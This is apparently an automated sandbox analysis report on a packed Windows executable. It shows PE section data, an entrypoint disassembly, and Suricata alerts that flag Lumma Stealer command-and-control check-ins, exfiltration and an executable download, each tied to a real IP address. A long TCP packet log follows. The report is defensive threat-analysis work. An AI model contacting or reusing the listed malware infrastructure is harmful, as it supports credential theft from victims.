File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....r;g.............................pI...........@...........................I.....V~....@.................................\p..p..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x897000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x673B72E6 [Mon Nov 18 17:01:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FE9053584EAh
paddb mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5705c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x571f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x55000	0x25e00	24825274edb1dab14a8a6dd0dbb6f54a	False	0.9973442656765676	data	7.973721758496147	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x56000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x57000	0x1000	0x200	b32b7c4ad821f82288405a0d11e75f2f	False	0.15625	data	1.1076713340399604	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x58000	0x2a5000	0x200	6a7d996f182026fc0fbd53e80bc91748	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
fpcukdxy	0x2fd000	0x199000	0x198600	85f5db77b6f556b2b486533469515ea0	False	0.9940754610498929	data	7.954084488701993	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qisnsufv	0x496000	0x1000	0x400	c909257a9d34e205c940408e91b5419c	False	0.8017578125	data	6.16837124084642	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x497000	0x3000	0x2200	8dad65732460c09fcdac1fbff8dbdd12	False	0.05939797794117647	DOS executable (COM)	0.7931831446191998	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-20T17:41:22.009186+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49704	104.21.66.38	443	TCP
2024-11-20T17:41:22.702248+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49704	104.21.66.38	443	TCP
2024-11-20T17:41:22.702248+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49704	104.21.66.38	443	TCP
2024-11-20T17:41:24.119056+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49706	104.21.66.38	443	TCP
2024-11-20T17:41:24.840747+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49706	104.21.66.38	443	TCP
2024-11-20T17:41:24.840747+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49706	104.21.66.38	443	TCP
2024-11-20T17:41:26.458844+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49712	104.21.66.38	443	TCP
2024-11-20T17:41:28.704099+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49718	104.21.66.38	443	TCP
2024-11-20T17:41:31.461865+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49724	104.21.66.38	443	TCP
2024-11-20T17:41:34.126293+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49730	104.21.66.38	443	TCP
2024-11-20T17:41:34.893185+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49730	104.21.66.38	443	TCP
2024-11-20T17:41:36.671229+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49737	104.21.66.38	443	TCP
2024-11-20T17:41:42.030785+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49757	104.21.66.38	443	TCP
2024-11-20T17:41:42.640545+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49757	104.21.66.38	443	TCP
2024-11-20T17:41:44.283348+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49758	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 17:41:14.860528946 CET	49674	443	192.168.2.7	104.98.116.138
Nov 20, 2024 17:41:14.860552073 CET	49675	443	192.168.2.7	104.98.116.138
Nov 20, 2024 17:41:15.016925097 CET	49672	443	192.168.2.7	104.98.116.138
Nov 20, 2024 17:41:15.297130108 CET	49677	443	192.168.2.7	20.50.201.200
Nov 20, 2024 17:41:15.673003912 CET	49677	443	192.168.2.7	20.50.201.200
Nov 20, 2024 17:41:16.079268932 CET	49671	443	192.168.2.7	204.79.197.203
Nov 20, 2024 17:41:16.423120022 CET	49677	443	192.168.2.7	20.50.201.200
Nov 20, 2024 17:41:17.923178911 CET	49677	443	192.168.2.7	20.50.201.200
Nov 20, 2024 17:41:20.710547924 CET	49704	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:20.710644007 CET	443	49704	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:20.710794926 CET	49704	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:20.714026928 CET	49704	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:20.714065075 CET	443	49704	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:20.907397032 CET	49677	443	192.168.2.7	20.50.201.200
Nov 20, 2024 17:41:21.225749969 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:21.225796938 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:21.225864887 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:21.226370096 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:21.226382971 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:22.009048939 CET	443	49704	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:22.009186029 CET	49704	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:22.013520956 CET	49704	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:22.013554096 CET	443	49704	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:22.013973951 CET	443	49704	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:22.064754963 CET	49704	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:22.064826012 CET	49704	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:22.065043926 CET	443	49704	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:22.702234983 CET	443	49704	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:22.702434063 CET	443	49704	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:22.702512980 CET	49704	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:22.731839895 CET	49704	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:22.731893063 CET	443	49704	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:22.731921911 CET	49704	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:22.731940985 CET	443	49704	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:22.832767963 CET	49706	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:22.832827091 CET	443	49706	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:22.832916021 CET	49706	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:22.833339930 CET	49706	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:22.833370924 CET	443	49706	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:22.953083992 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:22.953172922 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:22.957053900 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:22.957062960 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:22.957313061 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:22.967415094 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:23.011360884 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:23.430665970 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:23.430696011 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:23.430711031 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:23.430802107 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:23.430820942 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:23.430892944 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:23.612009048 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:23.612042904 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:23.612289906 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:23.612310886 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:23.612401962 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:23.655863047 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:23.655886889 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:23.655989885 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:23.656001091 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:23.656049013 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:23.656049013 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:23.782846928 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:23.782890081 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:23.782944918 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:23.782959938 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:23.783009052 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:23.783010006 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:23.819910049 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:23.819933891 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:23.820041895 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:23.820051908 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:23.820076942 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:23.820128918 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:23.843327999 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:23.843354940 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:23.843453884 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:23.843453884 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:23.843463898 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:23.843556881 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:23.864712000 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:23.864736080 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:23.864861965 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:23.864871025 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:23.864932060 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:24.107959032 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:24.107980013 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:24.108165979 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:24.108180046 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:24.108194113 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:24.108300924 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:24.108306885 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:24.108469009 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:24.108475924 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:24.108583927 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:24.109611034 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:24.109627008 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:24.118956089 CET	443	49706	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:24.119055986 CET	49706	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:24.120841026 CET	49706	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:24.120858908 CET	443	49706	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:24.121270895 CET	443	49706	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:24.122731924 CET	49706	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:24.122817039 CET	49706	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:24.122852087 CET	443	49706	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:24.145643950 CET	49707	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:24.145675898 CET	443	49707	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:24.145776987 CET	49707	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:24.146369934 CET	49707	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:24.146382093 CET	443	49707	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:24.147506952 CET	49708	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:24.147541046 CET	443	49708	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:24.147608995 CET	49708	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:24.148040056 CET	49708	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:24.148056984 CET	443	49708	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:24.149777889 CET	49709	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:24.149859905 CET	443	49709	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:24.149931908 CET	49709	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:24.150468111 CET	49709	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:24.150510073 CET	443	49709	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:24.150803089 CET	49710	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:24.150813103 CET	443	49710	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:24.150862932 CET	49710	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:24.150996923 CET	49710	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:24.151009083 CET	443	49710	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:24.152296066 CET	49711	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:24.152344942 CET	443	49711	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:24.152427912 CET	49711	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:24.152514935 CET	49711	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:24.152533054 CET	443	49711	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:24.469881058 CET	49674	443	192.168.2.7	104.98.116.138
Nov 20, 2024 17:41:24.469914913 CET	49675	443	192.168.2.7	104.98.116.138
Nov 20, 2024 17:41:24.626173019 CET	49672	443	192.168.2.7	104.98.116.138
Nov 20, 2024 17:41:24.840756893 CET	443	49706	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:24.840811968 CET	443	49706	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:24.840846062 CET	443	49706	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:24.840884924 CET	443	49706	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:24.840948105 CET	443	49706	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:24.841073036 CET	49706	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:24.841097116 CET	443	49706	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:24.841181040 CET	49706	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:24.843422890 CET	443	49706	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:24.848987103 CET	443	49706	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:24.849081039 CET	49706	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:24.849097013 CET	443	49706	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:24.857361078 CET	443	49706	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:24.857450962 CET	49706	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:24.857469082 CET	443	49706	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:24.907504082 CET	49706	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:24.907541990 CET	443	49706	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:24.954349995 CET	49706	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:25.026726961 CET	443	49706	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:25.032907963 CET	443	49706	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:25.032980919 CET	49706	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:25.033001900 CET	443	49706	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:25.033062935 CET	49706	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:25.034862041 CET	49706	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:25.034900904 CET	443	49706	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:25.034925938 CET	49706	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:25.034944057 CET	443	49706	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:25.142419100 CET	49712	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:25.142462015 CET	443	49712	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:25.142559052 CET	49712	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:25.143038034 CET	49712	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:25.143053055 CET	443	49712	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:25.688736916 CET	49671	443	192.168.2.7	204.79.197.203
Nov 20, 2024 17:41:25.945590019 CET	443	49711	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:25.945967913 CET	443	49710	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:25.946275949 CET	49711	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:25.946295977 CET	443	49711	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:25.946738958 CET	49710	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:25.946752071 CET	443	49710	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:25.946773052 CET	49711	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:25.946778059 CET	443	49711	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:25.947365046 CET	49710	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:25.947370052 CET	443	49710	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:25.948446035 CET	443	49708	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:25.948894978 CET	49708	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:25.948903084 CET	443	49708	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:25.949445009 CET	49708	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:25.949450016 CET	443	49708	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:25.951256037 CET	443	49707	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:25.951576948 CET	49707	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:25.951591969 CET	443	49707	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:25.951961994 CET	443	49709	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:25.952095985 CET	49707	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:25.952101946 CET	443	49707	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:25.952307940 CET	49709	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:25.952323914 CET	443	49709	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:25.952697992 CET	49709	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:25.952703953 CET	443	49709	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.393290997 CET	443	49708	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.393450022 CET	443	49708	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.393527985 CET	49708	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:26.394393921 CET	49708	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:26.394407034 CET	443	49708	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.394418001 CET	49708	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:26.394423962 CET	443	49708	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.398195982 CET	49713	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:26.398226023 CET	443	49713	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.398323059 CET	49713	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:26.398528099 CET	49713	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:26.398541927 CET	443	49713	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.398971081 CET	443	49709	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.401318073 CET	443	49710	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.401345968 CET	443	49710	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.401408911 CET	49710	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:26.401420116 CET	443	49710	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.401468992 CET	49710	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:26.401628017 CET	49710	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:26.401633024 CET	443	49710	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.401648998 CET	49710	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:26.401839018 CET	443	49710	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.401875019 CET	443	49710	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.401918888 CET	49710	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:26.402256012 CET	443	49709	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.402273893 CET	443	49711	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.402301073 CET	443	49711	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.402324915 CET	49709	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:26.402359962 CET	49709	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:26.402379990 CET	443	49709	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.402390003 CET	49711	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:26.402396917 CET	443	49711	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.402641058 CET	49711	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:26.402653933 CET	443	49711	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.402661085 CET	49711	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:26.402811050 CET	443	49711	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.402843952 CET	443	49711	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.402893066 CET	49711	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:26.403043032 CET	443	49707	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.403075933 CET	443	49707	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.403135061 CET	49707	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:26.403145075 CET	443	49707	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:26.403198004 CET	49707	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:26.403574944 CET	49707	443	192.168.2.7	13.107.246.63
